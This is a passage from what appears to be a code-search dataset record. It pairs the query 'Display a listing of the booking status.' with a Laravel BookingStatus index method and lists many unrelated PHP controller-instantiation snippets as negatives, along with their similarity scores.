ucfirst(str_replace($prefijo, \"\", $entityName));\n $fileController = \"../../modules/{$entityFile}/{$entityFile}Controller.class.php\";\n\n $result = array();\n $ok = self::createArchive($fileController, $controller);\n ($ok) ? array_push($result, \"Ok, {$fileController} created\") : array_push($result, \"ERROR creating {$fileController}\");\n\n return $result;\n }", "public static function newInstance($path = \\simpleChat\\Utility\\ROOT_PATH)\n {\n $request = new Request();\n \n \n if ($request->isAjax())\n {\n return new AjaxController();\n }\n else if ($request->jsCode())\n {\n return new JsController();\n }\n else\n {\n return new StandardController($path);\n }\n }", "private function createInstance()\n {\n $objectManager = new \\Magento\\Framework\\TestFramework\\Unit\\Helper\\ObjectManager($this);\n $this->controller = $objectManager->getObject(\n \\Magento\\NegotiableQuote\\Controller\\Adminhtml\\Quote\\RemoveFailedSku::class,\n [\n 'context' => $this->context,\n 'logger' => $this->logger,\n 'messageManager' => $this->messageManager,\n 'cart' => $this->cart,\n 'resultRawFactory' => $this->resultRawFactory\n ]\n );\n }", "function loadController(){\n $name = ucfirst($this->request->controller).'Controller' ;\n $file = ROOT.DS.'Controller'.DS.$name.'.php' ;\n /*if(!file_exists($file)){\n $this->error(\"Le controleur \".$this->request->controller.\" n'existe pas\") ;\n }*/\n require_once $file;\n $controller = new $name($this->request);\n return $controller ;\n }", "public function __construct(){\r\n $app = Application::getInstance();\r\n $this->_controller = $app->getController();\r\n }", "public static function & instance()\n {\n if (self::$instance === null) {\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Include the Controller file\n require Router::$controller_path;\n\n try {\n // Start validation of the controller\n $class = new ReflectionClass(ucfirst(Router::$controller).'_Controller');\n } catch (ReflectionException $e) {\n // Controller does not exist\n Event::run('system.404');\n }\n\n if ($class->isAbstract() or (IN_PRODUCTION and $class->getConstant('ALLOW_PRODUCTION') == false)) {\n // Controller is not allowed to run in production\n Event::run('system.404');\n }\n\n // Run system.pre_controller\n Event::run('system.pre_controller');\n\n // Create a new controller instance\n $controller = $class->newInstance();\n\n // Controller constructor has been executed\n Event::run('system.post_controller_constructor');\n\n try {\n // Load the controller method\n $method = $class->getMethod(Router::$method);\n\n // Method exists\n if (Router::$method[0] === '_') {\n // Do not allow access to hidden methods\n Event::run('system.404');\n }\n\n if ($method->isProtected() or $method->isPrivate()) {\n // Do not attempt to invoke protected methods\n throw new ReflectionException('protected controller method');\n }\n\n // Default arguments\n $arguments = Router::$arguments;\n } catch (ReflectionException $e) {\n // Use __call instead\n $method = $class->getMethod('__call');\n\n // Use arguments in __call format\n $arguments = array(Router::$method, Router::$arguments);\n }\n\n // Stop the controller setup benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Start the controller execution benchmark\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_execution');\n\n // Execute the controller method\n $method->invokeArgs($controller, $arguments);\n\n // Controller method has been executed\n Event::run('system.post_controller');\n\n // Stop the controller execution benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_execution');\n }\n\n return self::$instance;\n }", "protected function instantiateController($class)\n {\n $controller = new $class();\n\n if ($controller instanceof Controller) {\n $controller->setContainer($this->container);\n }\n\n return $controller;\n }", "public function __construct (){\n $this->AdminController = new AdminController();\n $this->ArticleController = new ArticleController();\n $this->AuditoriaController = new AuditoriaController();\n $this->CommentController = new CommentController();\n $this->CourseController = new CourseController();\n $this->InscriptionsController = new InscriptionsController();\n $this->ModuleController = new ModuleController();\n $this->PlanController = new PlanController();\n $this->ProfileController = new ProfileController();\n $this->SpecialtyController = new SpecialtyController();\n $this->SubscriptionController = new SubscriptionController();\n $this->TeacherController = new TeacherController();\n $this->UserController = new UserController();\n $this->WebinarController = new WebinarController();\n }", "protected function makeController($prefix)\n {\n new MakeController($this, $this->files, $prefix);\n }", "public function createController($route)\n {\n $controller = parent::createController('gymv/' . $route);\n return $controller === false\n ? parent::createController($route)\n : $controller;\n }", "public static function createFrontController()\n {\n return self::createInjectorWithBindings(self::extractArgs(func_get_args()))\n ->getInstance('net::stubbles::websites::stubFrontController');\n }", "public static function controller($name)\n {\n $name = ucfirst(strtolower($name));\n \n $directory = 'controller';\n $filename = $name;\n $tracker = 'controller';\n $init = (boolean) $init;\n $namespace = 'controller';\n $class_name = $name;\n \n return self::_load($directory, $filename, $tracker, $init, $namespace, $class_name);\n }", "protected static function instantiateMockController()\n {\n /** @var Event $oEvent */\n $oEvent = Factory::service('Event');\n\n if (!$oEvent->hasBeenTriggered(Events::SYSTEM_STARTING)) {\n\n require_once BASEPATH . 'core/Controller.php';\n\n load_class('Output', 'core');\n load_class('Security', 'core');\n load_class('Input', 'core');\n load_class('Lang', 'core');\n\n new NailsMockController();\n }\n }", "private static function controller()\n {\n $files = ['Controller'];\n $folder = static::$root.'MVC'.'/';\n\n self::call($files, $folder);\n }", "public function createController()\n\t{\n\t\t$originalFile = app_path('Http/Controllers/Reports/SampleReport.php');\n\t\t$newFile = dirname($originalFile) . DIRECTORY_SEPARATOR . $this->class . $this->sufix . '.php';\n\n\t\t// Read original file\n\t\tif( ! $content = file_get_contents($originalFile))\n\t\t\treturn false;\n\n\t\t// Replace class name\n\t\t$content = str_replace('SampleReport', $this->class . $this->sufix, $content);\n\n\t\t// Write new file\n\t\treturn (bool) file_put_contents($newFile, $content);\n\t}", "public function runController() {\n // Check for a router\n if (is_null($this->getRouter())) {\n \t // Set the method to load\n \t $sController = ucwords(\"{$this->getController()}Controller\");\n } else {\n\n // Set the controller with the router\n $sController = ucwords(\"{$this->getController()}\".ucfirst($this->getRouter()).\"Controller\");\n }\n \t// Check for class\n \tif (class_exists($sController, true)) {\n \t\t// Set a new instance of Page\n \t\t$this->setPage(new Page());\n \t\t// The class exists, load it\n \t\t$oController = new $sController();\n\t\t\t\t// Now check for the proper method \n\t\t\t\t// inside of the controller class\n\t\t\t\tif (method_exists($oController, $this->loadConfigVar('systemSettings', 'controllerLoadMethod'))) {\n\t\t\t\t\t// We have a valid controller, \n\t\t\t\t\t// execute the initializer\n\t\t\t\t\t$oController->init($this);\n\t\t\t\t\t// Set the variable scope\n\t \t\t$this->setViewScope($oController);\n\t \t\t// Render the layout\n\t \t\t$this->renderLayout();\n\t\t\t\t} else {\n\t\t\t\t\t// The initializer does not exist, \n\t\t\t\t\t// which means an invalid controller, \n\t\t\t\t\t// so now we let the caller know\n\t\t\t\t\t$this->setError($this->loadConfigVar('errorMessages', 'invalidController'));\n\t\t\t\t\t// Run the error\n\t\t\t\t\t// $this->runError();\n\t\t\t\t}\n \t// The class does not exist\n \t} else {\n\t\t\t\t// Set the system error\n\t \t\t$this->setError(\n\t\t\t\t\tstr_replace(\n\t\t\t\t\t\t':controllerName', \n\t\t\t\t\t\t$sController, \n\t\t\t\t\t\t$this->loadConfigVar(\n\t\t\t\t\t\t\t'errorMessages', \n\t\t\t\t\t\t\t'controllerDoesNotExist'\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n \t\t// Run the error\n\t\t\t\t// $this->runError();\n \t}\n \t// Return instance\n \treturn $this;\n }", "public function controller()\n\t{\n\t\n\t}", "protected function buildController()\n {\n $columns = collect($this->columns)->pluck('column')->implode('|');\n\n $permissions = [\n 'create:'.$this->module->createPermission->name,\n 'edit:'.$this->module->editPermission->name,\n 'delete:'.$this->module->deletePermission->name,\n ];\n\n $this->controller = [\n 'name' => $this->class,\n '--model' => $this->class,\n '--request' => $this->class.'Request',\n '--permissions' => implode('|', $permissions),\n '--view-folder' => snake_case($this->module->name),\n '--fields' => $columns,\n '--module' => $this->module->id,\n ];\n }", "function getController(){\n\treturn getFactory()->getBean( 'Controller' );\n}", "protected function getController()\n {\n $uri = WingedLib::clearPath(static::$parentUri);\n if (!$uri) {\n $uri = './';\n $explodedUri = ['index', 'index'];\n } else {\n $explodedUri = explode('/', $uri);\n if (count($explodedUri) == 1) {\n $uri = './' . $explodedUri[0] . '/';\n } else {\n $uri = './' . $explodedUri[0] . '/' . $explodedUri[1] . '/';\n }\n }\n\n $indexUri = WingedLib::clearPath(\\WingedConfig::$config->INDEX_ALIAS_URI);\n if ($indexUri) {\n $indexUri = explode('/', $indexUri);\n }\n\n if ($indexUri) {\n if ($explodedUri[0] === 'index' && isset($indexUri[0])) {\n static::$controllerName = Formater::camelCaseClass($indexUri[0]) . 'Controller';\n $uri = './' . $indexUri[0] . '/';\n }\n if (isset($explodedUri[1]) && isset($indexUri[1])) {\n if ($explodedUri[1] === 'index') {\n static::$controllerAction = 'action' . Formater::camelCaseMethod($indexUri[1]);\n $uri .= $indexUri[1] . '/';\n }\n } else {\n $uri .= 'index/';\n }\n }\n\n $controllerDirectory = new Directory(static::$parent . 'controllers/', false);\n if ($controllerDirectory->exists()) {\n $controllerFile = new File($controllerDirectory->folder . static::$controllerName . '.php', false);\n if ($controllerFile->exists()) {\n include_once $controllerFile->file_path;\n if (class_exists(static::$controllerName)) {\n $controller = new static::$controllerName();\n if (method_exists($controller, static::$controllerAction)) {\n try {\n $reflectionMethod = new \\ReflectionMethod(static::$controllerName, static::$controllerAction);\n $pararms = [];\n foreach ($reflectionMethod->getParameters() as $parameter) {\n $pararms[$parameter->getName()] = $parameter->isOptional();\n }\n } catch (\\Exception $exception) {\n $pararms = [];\n }\n return [\n 'uri' => $uri,\n 'params' => $pararms,\n ];\n }\n }\n }\n }\n return false;\n }", "public function __construct()\n {\n $this->controller = new DHTController();\n }", "public function createController($controllers) {\n\t\tforeach($controllers as $module=>$controllers) {\n\t\t\tforeach($controllers as $key=>$controller) {\n\t\t\t\tif(!file_exists(APPLICATION_PATH.\"/modules/$module/controllers/\".ucfirst($controller).\"Controller.php\")) {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",\"Create '\".ucfirst($controller).\"' controller in $module\");\t\t\t\t\n\t\t\t\t\texec(\"zf create controller $controller index-action-included=0 $module\");\t\t\t\t\t\n\t\t\t\t}\telse {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",ucfirst($controller).\"' controller in $module already exists\");\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}", "protected function instantiateController($class)\n {\n return new $class($this->routesMaker);\n }", "private function createController($table){\n\n // Filtering file name\n $fileName = $this::cleanToName($table[\"name\"]) . 'Controller.php';\n\n // Prepare the Class scheme inside the controller\n $contents = '<?php '.$fileName.' ?>';\n\n\n // Return a boolean to process completed\n return Storage::disk('controllers')->put($this->appNamePath.'/'.$fileName, $contents);\n\n }", "public function GetController()\n\t{\n\t\t$params = $this->QueryVarArrayToParameterArray($_GET);\n\t\tif (!empty($_POST)) {\n\t\t\t$params = array_merge($params, $this->QueryVarArrayToParameterArray($_POST));\n\t\t}\n\n\t\tif (!empty($_GET['q'])) {\n\t\t\t$restparams = GitPHP_Router::ReadCleanUrl($_SERVER['REQUEST_URI']);\n\t\t\tif (count($restparams) > 0)\n\t\t\t\t$params = array_merge($params, $restparams);\n\t\t}\n\n\t\t$controller = null;\n\n\t\t$action = null;\n\t\tif (!empty($params['action']))\n\t\t\t$action = $params['action'];\n\n\t\tswitch ($action) {\n\n\n\t\t\tcase 'search':\n\t\t\t\t$controller = new GitPHP_Controller_Search();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commitdiff':\n\t\t\tcase 'commitdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Commitdiff();\n\t\t\t\tif ($action === 'commitdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blobdiff':\n\t\t\tcase 'blobdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Blobdiff();\n\t\t\t\tif ($action === 'blobdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'history':\n\t\t\t\t$controller = new GitPHP_Controller_History();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'shortlog':\n\t\t\tcase 'log':\n\t\t\t\t$controller = new GitPHP_Controller_Log();\n\t\t\t\tif ($action === 'shortlog')\n\t\t\t\t\t$controller->SetParam('short', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'snapshot':\n\t\t\t\t$controller = new GitPHP_Controller_Snapshot();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tree':\n\t\t\tcase 'trees':\n\t\t\t\t$controller = new GitPHP_Controller_Tree();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tags':\n\t\t\t\tif (empty($params['tag'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Tags();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\tcase 'tag':\n\t\t\t\t$controller = new GitPHP_Controller_Tag();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'heads':\n\t\t\t\t$controller = new GitPHP_Controller_Heads();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blame':\n\t\t\t\t$controller = new GitPHP_Controller_Blame();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blob':\n\t\t\tcase 'blobs':\n\t\t\tcase 'blob_plain':\t\n\t\t\t\t$controller = new GitPHP_Controller_Blob();\n\t\t\t\tif ($action === 'blob_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'atom':\n\t\t\tcase 'rss':\n\t\t\t\t$controller = new GitPHP_Controller_Feed();\n\t\t\t\tif ($action == 'rss')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::RssFormat);\n\t\t\t\telse if ($action == 'atom')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::AtomFormat);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commit':\n\t\t\tcase 'commits':\n\t\t\t\t$controller = new GitPHP_Controller_Commit();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'summary':\n\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'project_index':\n\t\t\tcase 'projectindex':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('txt', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'opml':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('opml', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'login':\n\t\t\t\t$controller = new GitPHP_Controller_Login();\n\t\t\t\tif (!empty($_POST['username']))\n\t\t\t\t\t$controller->SetParam('username', $_POST['username']);\n\t\t\t\tif (!empty($_POST['password']))\n\t\t\t\t\t$controller->SetParam('password', $_POST['password']);\n\t\t\t\tbreak;\n\n\t\t\tcase 'logout':\n\t\t\t\t$controller = new GitPHP_Controller_Logout();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'graph':\n\t\t\tcase 'graphs':\n\t\t\t\t//$controller = new GitPHP_Controller_Graph();\n\t\t\t\t//break;\n\t\t\tcase 'graphdata':\n\t\t\t\t//$controller = new GitPHP_Controller_GraphData();\n\t\t\t\t//break;\n\t\t\tdefault:\n\t\t\t\tif (!empty($params['project'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\t} else {\n\t\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t}\n\t\t}\n\n\t\tforeach ($params as $paramname => $paramval) {\n\t\t\tif ($paramname !== 'action')\n\t\t\t\t$controller->SetParam($paramname, $paramval);\n\t\t}\n\n\t\t$controller->SetRouter($this);\n\n\t\treturn $controller;\n\t}", "public function testCreateTheControllerClass()\n {\n $controller = new Game21Controller();\n $this->assertInstanceOf(\"\\App\\Http\\Controllers\\Game21Controller\", $controller);\n }", "public static function createController( MShop_Context_Item_Interface $context, $name = null );", "public function __construct()\n {\n\n $url = $this->splitURL();\n // echo $url[0];\n\n // check class file exists\n if (file_exists(\"../app/controllers/\" . strtolower($url[0]) . \".php\")) {\n $this->controller = strtolower($url[0]);\n unset($url[0]);\n }\n\n // echo $this->controller;\n\n require \"../app/controllers/\" . $this->controller . \".php\";\n\n // create Instance(object)\n $this->controller = new $this->controller(); // $this->controller is an object from now on\n if (isset($url[1])) {\n if (method_exists($this->controller, $url[1])) {\n $this->method = $url[1];\n unset($url[1]);\n }\n }\n\n // run the class and method\n $this->params = array_values($url); // array_values 값들인 인자 0 부터 다시 배치\n call_user_func_array([$this->controller, $this->method], $this->params);\n }", "public function getController();", "public function getController();", "public function getController();", "public function createController($pageType, $template)\n {\n $controller = null;\n\n // Use factories first\n if (isset($this->controllerFactories[$pageType])) {\n $callable = $this->controllerFactories[$pageType];\n $controller = $callable($this, 'templates/'.$template);\n\n if ($controller) {\n return $controller;\n }\n }\n\n // See if a default controller exists in the theme namespace\n $class = null;\n if ($pageType == 'posts') {\n $class = $this->namespace.'\\\\Controllers\\\\PostsController';\n } elseif ($pageType == 'post') {\n $class = $this->namespace.'\\\\Controllers\\\\PostController';\n } elseif ($pageType == 'page') {\n $class = $this->namespace.'\\\\Controllers\\\\PageController';\n } elseif ($pageType == 'term') {\n $class = $this->namespace.'\\\\Controllers\\\\TermController';\n }\n\n if (class_exists($class)) {\n $controller = new $class($this, 'templates/'.$template);\n\n return $controller;\n }\n\n // Create a default controller from the stem namespace\n if ($pageType == 'posts') {\n $controller = new PostsController($this, 'templates/'.$template);\n } elseif ($pageType == 'post') {\n $controller = new PostController($this, 'templates/'.$template);\n } elseif ($pageType == 'page') {\n $controller = new PageController($this, 'templates/'.$template);\n } elseif ($pageType == 'search') {\n $controller = new SearchController($this, 'templates/'.$template);\n } elseif ($pageType == 'term') {\n $controller = new TermController($this, 'templates/'.$template);\n }\n\n return $controller;\n }", "private function loadController($controller)\r\n {\r\n $className = $controller.'Controller';\r\n \r\n $class = new $className($this);\r\n \r\n $class->init();\r\n \r\n return $class;\r\n }", "public static function newInstance ($class)\n {\n try\n {\n // the class exists\n $object = new $class();\n\n if (!($object instanceof sfController))\n {\n // the class name is of the wrong type\n $error = 'Class \"%s\" is not of the type sfController';\n $error = sprintf($error, $class);\n\n throw new sfFactoryException($error);\n }\n\n return $object;\n }\n catch (sfException $e)\n {\n $e->printStackTrace();\n }\n }", "public function create()\n {\n //TODO frontEndDeveloper \n //load admin.classes.create view\n\n\n return view('admin.classes.create');\n }", "private function generateControllerClass()\n {\n $dir = $this->bundle->getPath();\n\n $parts = explode('\\\\', $this->entity);\n $entityClass = array_pop($parts);\n $entityNamespace = implode('\\\\', $parts);\n\n $target = sprintf(\n '%s/Controller/%s/%sController.php',\n $dir,\n str_replace('\\\\', '/', $entityNamespace),\n $entityClass\n );\n\n if (file_exists($target)) {\n throw new \\RuntimeException('Unable to generate the controller as it already exists.');\n }\n\n $this->renderFile($this->skeletonDir, 'controller.php', $target, array(\n 'actions' => $this->actions,\n 'route_prefix' => $this->routePrefix,\n 'route_name_prefix' => $this->routeNamePrefix,\n 'dir' => $this->skeletonDir,\n 'bundle' => $this->bundle->getName(),\n 'entity' => $this->entity,\n 'entity_class' => $entityClass,\n 'namespace' => $this->bundle->getNamespace(),\n 'entity_namespace' => $entityNamespace,\n 'format' => $this->format,\n ));\n }", "static public function Instance()\t\t// Static so we use classname itself to create object i.e. Controller::Instance()\r\n {\r\n // Only one object of this class is required\r\n // so we only create if it hasn't already\r\n // been created.\r\n if(!isset(self::$_instance))\r\n {\r\n self::$_instance = new self();\t// Make new instance of the Controler class\r\n self::$_instance->_commandResolver = new CommandResolver();\r\n\r\n ApplicationController::LoadViewMap();\r\n }\r\n return self::$_instance;\r\n }", "private function create_mock_controller() {\n eval('class TestController extends cyclone\\request\\SkeletonController {\n function before() {\n DispatcherTest::$beforeCalled = TRUE;\n DispatcherTest::$route = $this->_request->route;\n }\n\n function after() {\n DispatcherTest::$afterCalled = TRUE;\n }\n\n function action_act() {\n DispatcherTest::$actionCalled = TRUE;\n }\n}');\n }", "public function AController() {\r\n\t}", "protected function initializeController() {}", "public function dispatch()\n { \n $controller = $this->formatController();\n $controller = new $controller($this);\n if (!$controller instanceof ControllerAbstract) {\n throw new Exception(\n 'Class ' . get_class($controller) . ' is not a valid controller instance. Controller classes must '\n . 'derive from \\Europa\\ControllerAbstract.'\n );\n }\n $controller->action();\n return $controller;\n }", "public function controller()\n {\n $method = $_SERVER['REQUEST_METHOD'];\n if ($method == 'GET') {\n $this->getController();\n };\n if ($method == 'POST') {\n check_csrf();\n $this->createController();\n };\n }", "private function addController($controller)\n {\n $object = new $controller($this->app);\n $this->controllers[$controller] = $object;\n }", "function Controller($ControllerName = Web\\Application\\DefaultController) {\n return Application()->Controller($ControllerName);\n }", "public function getController($controllerName) {\r\n\t\tif(!isset(self::$instances[$controllerName])) {\r\n\t\t $package = $this->getPackage(Nomenclature::getVendorAndPackage($controllerName));\r\n\t\t if(!$package) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t return $controller;\r\n\t\t //return false;\r\n\t\t }\r\n\r\n\t\t if(!$package || !$package->controllerExists($controllerName)) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t $package->addController($controller);\r\n\t\t } else {\r\n\t\t $controller = $package->getController($controllerName);\r\n\t\t }\r\n\t\t} else {\r\n\t\t $controller = self::$instances[$controllerName];\r\n\t\t}\r\n\t\treturn $controller;\r\n\t}", "public function testInstantiateSessionController()\n {\n $controller = new SessionController();\n\n $this->assertInstanceOf(\"App\\Http\\Controllers\\SessionController\", $controller);\n }", "private static function loadController($str) {\n\t\t$str = self::formatAsController($str);\n\t\t$app_controller = file_exists(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t$lib_controller = file_exists(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\n\t\tif ( $app_controller || $lib_controller ) {\n\t\t\tif ($app_controller) {\n\t\t\t\trequire_once(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\t\telse {\n\t\t\t\trequire_once(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\n\t\t\t$controller = new $str();\n\t\t\t\n\t\t\tif (!$controller instanceof Controller) {\n\t\t\t\tthrow new IsNotControllerException();\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn $controller;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthrow new ControllerNotExistsException($str);\n\t\t}\n\t}", "public function __construct()\n {\n // and $url[1] is a controller method\n if ($_GET['url'] == NULL) {\n $url = explode('/', env('defaultRoute'));\n } else {\n $url = explode('/', rtrim($_GET['url'],'/'));\n }\n\n $file = 'controllers/' . $url[0] . '.php';\n if (file_exists($file)) {\n require $file;\n $controller = new $url[0];\n\n if (isset($url[1])) {\n $controller->{$url[1]}();\n }\n } else {\n echo \"404 not found\";\n }\n }", "protected function _controllers()\n {\n $this['watchController'] = $this->factory(static function ($c) {\n return new Controller\\WatchController($c['app'], $c['searcher']);\n });\n\n $this['runController'] = $this->factory(static function ($c) {\n return new Controller\\RunController($c['app'], $c['searcher']);\n });\n\n $this['customController'] = $this->factory(static function ($c) {\n return new Controller\\CustomController($c['app'], $c['searcher']);\n });\n\n $this['waterfallController'] = $this->factory(static function ($c) {\n return new Controller\\WaterfallController($c['app'], $c['searcher']);\n });\n\n $this['importController'] = $this->factory(static function ($c) {\n return new Controller\\ImportController($c['app'], $c['saver'], $c['config']['upload.token']);\n });\n\n $this['metricsController'] = $this->factory(static function ($c) {\n return new Controller\\MetricsController($c['app'], $c['searcher']);\n });\n }", "public function __construct() {\r\n $this->controllerLogin = new ControllerLogin();\r\n $this->controllerGame = new ControllerGame();\r\n $this->controllerRegister = new ControllerRegister();\r\n }", "public function controller ($post = array())\n\t{\n\n\t\t$name = $post['controller_name'];\n\n\t\tif (is_file(APPPATH.'controllers/'.$name.'.php')) {\n\n\t\t\t$message = sprintf(lang('Controller_s_is_existed'), APPPATH.'controllers/'.$name.'.php');\n\n\t\t\t$this->msg[] = $message;\n\n\t\t\treturn $this->result(false, $this->msg[0]);\n\n\t\t}\n\n\t\t$extends = null;\n\n\t\tif (isset($post['crud'])) {\n\n\t\t\t$crud = true;\n\t\t\t\n\t\t}\n\t\telse{\n\n\t\t\t$crud = false;\n\n\t\t}\n\n\t\t$file = $this->_create_folders_from_name($name, 'controllers');\n\n\t\t$data = '';\n\n\t\t$data .= $this->_class_open($file['file'], __METHOD__, $extends);\n\n\t\t$crud === FALSE || $data .= $this->_crud_methods_contraller($post);\n\n\t\t$data .= $this->_class_close();\n\n\t\t$path = APPPATH . 'controllers/' . $file['path'] . strtolower($file['file']) . '.php';\n\n\t\twrite_file($path, $data);\n\n\t\t$this->msg[] = sprintf(lang('Created_controller_s'), $path);\n\n\t\t//echo $this->_messages();\n\t\treturn $this->result(true, $this->msg[0]);\n\n\t}", "protected function getController(Request $request) {\n try {\n $controller = $this->objectFactory->create($request->getControllerName(), self::INTERFACE_CONTROLLER);\n } catch (ZiboException $exception) {\n throw new ZiboException('Could not create controller ' . $request->getControllerName(), 0, $exception);\n }\n\n return $controller;\n }", "public function create() {}", "public function __construct()\n {\n $this->dataController = new DataController;\n }", "function __contrruct(){ //construdor do controller, nele é possivel carregar as librari, helpers, models que serão utilizados nesse controller\n\t\tparent::__contrruct();//Chamando o construtor da classe pai\n\t}", "public function __construct() {\n\n // Get the URL elements.\n $url = $this->_parseUrl();\n\n // Checks if the first URL element is set / not empty, and replaces the\n // default controller class string if the given class exists.\n if (isset($url[0]) and ! empty($url[0])) {\n $controllerClass = CONTROLLER_PATH . ucfirst(strtolower($url[0]));\n unset($url[0]);\n if (class_exists($controllerClass)) {\n $this->_controllerClass = $controllerClass;\n }\n }\n\n // Replace the controller class string with a new instance of the it.\n $this->_controllerClass = new $this->_controllerClass;\n\n // Checks if the second URL element is set / not empty, and replaces the\n // default controller action string if the given action is a valid class\n // method.\n if (isset($url[1]) and ! empty($url[1])) {\n if (method_exists($this->_controllerClass, $url[1])) {\n $this->_controllerAction = $url[1];\n unset($url[1]);\n }\n }\n\n // Check if the URL has any remaining elements, setting the controller\n // parameters as a rebase of it if true or an empty array if false.\n $this->_controllerParams = $url ? array_values($url) : [];\n\n // Call the controller and action with parameters.\n call_user_func_array([$this->_controllerClass, $this->_controllerAction], $this->_controllerParams);\n }", "private function setUpController()\n {\n $this->controller = new TestObject(new SharedControllerTestController);\n\n $this->controller->dbal = DBAL::getDBAL('testDB', $this->getDBH());\n }", "public function create() {\n $class_name = $this->getOption('className');\n return new $class_name();\n }" ]
[ "0.82668066", "0.8173394", "0.78115296", "0.77052677", "0.7681875", "0.7659338", "0.74860525", "0.74064577", "0.7297601", "0.7252339", "0.7195181", "0.7174191", "0.70150065", "0.6989306", "0.69835985", "0.69732994", "0.6963521", "0.6935819", "0.68973273", "0.68920785", "0.6877748", "0.68702674", "0.68622285", "0.6839049", "0.6779292", "0.6703522", "0.66688496", "0.66600126", "0.6650373", "0.66436416", "0.6615505", "0.66144013", "0.6588728", "0.64483404", "0.64439476", "0.6429303", "0.6426485", "0.6303757", "0.6298291", "0.6293319", "0.62811387", "0.6258778", "0.62542456", "0.616827", "0.6162314", "0.61610043", "0.6139887", "0.613725", "0.61334985", "0.6132223", "0.6128982", "0.61092585", "0.6094611", "0.60889256", "0.6074893", "0.60660255", "0.6059098", "0.60565156", "0.6044235", "0.60288006", "0.6024102", "0.60225666", "0.6018304", "0.60134345", "0.60124683", "0.6010913", "0.6009284", "0.6001683", "0.5997471", "0.5997012", "0.59942573", "0.5985074", "0.5985074", "0.5985074", "0.5967613", "0.5952533", "0.5949068", "0.5942203", "0.5925731", "0.5914304", "0.5914013", "0.59119135", "0.5910308", "0.5910285", "0.59013796", "0.59003943", "0.5897524", "0.58964556", "0.58952993", "0.58918965", "0.5888943", "0.5875413", "0.5869938", "0.58627135", "0.58594996", "0.5853714", "0.5839484", "0.5832913", "0.582425", "0.58161044", "0.5815566" ]
0.0
-1
Display a listing of the booking status.
public function index() { $bookingStatuses = BookingStatus::paginate(25); return view('booking_status.index', compact('bookingStatuses')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n\r\n $libBookingstatuses = $em->getRepository('AppBundle:LibBookingstatus')->findAll();\r\n\r\n return $this->render('libbookingstatus/index.html.twig', array(\r\n 'libBookingstatuses' => $libBookingstatuses,\r\n ));\r\n }", "public function actionIndex()\n {\n $model = ArsBooking::find()\n ->where(['book_status' =>'Pending'])\n ->count();\n \n $searchModel = new ArsBookingSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n 'model'=>$model,\n ]);\n }", "public function indexAction()\n {\n // Append breadcrumbs\n $this->view->getBreadcrumbBag()->addOne('Cars', 'Rentcar:Admin:Car@indexAction')\n ->addOne('Bookings');\n\n $orderStCol = new OrderStatusCollection();\n $bookingService = $this->getModuleService('bookingService');\n\n return $this->view->render('booking/index', [\n 'bookings' => $this->getFilter($bookingService),\n\n // Vars for filters\n 'cars' => $this->getModuleService('carService')->fetchList(),\n 'orderStatuses' => $orderStCol->getStatuses(),\n 'filterApplied' => $this->request->getQuery('filter', false)\n ]);\n }", "public function index()\n {\n return View('admin.bookings.index', [\n 'bookings' => $this->bookingRepository->orderBy('created_at', 'DESC')->paginate(),\n 'active' => 'bookings_all',\n ]);\n }", "public function bookingList()\n {\n $user = User::find(Auth::user()->id);\n return view('booking.booking_list', compact('user'));\n }", "public function index()\n\t{\n\n\n\t\tif (\\Request::has('init')) 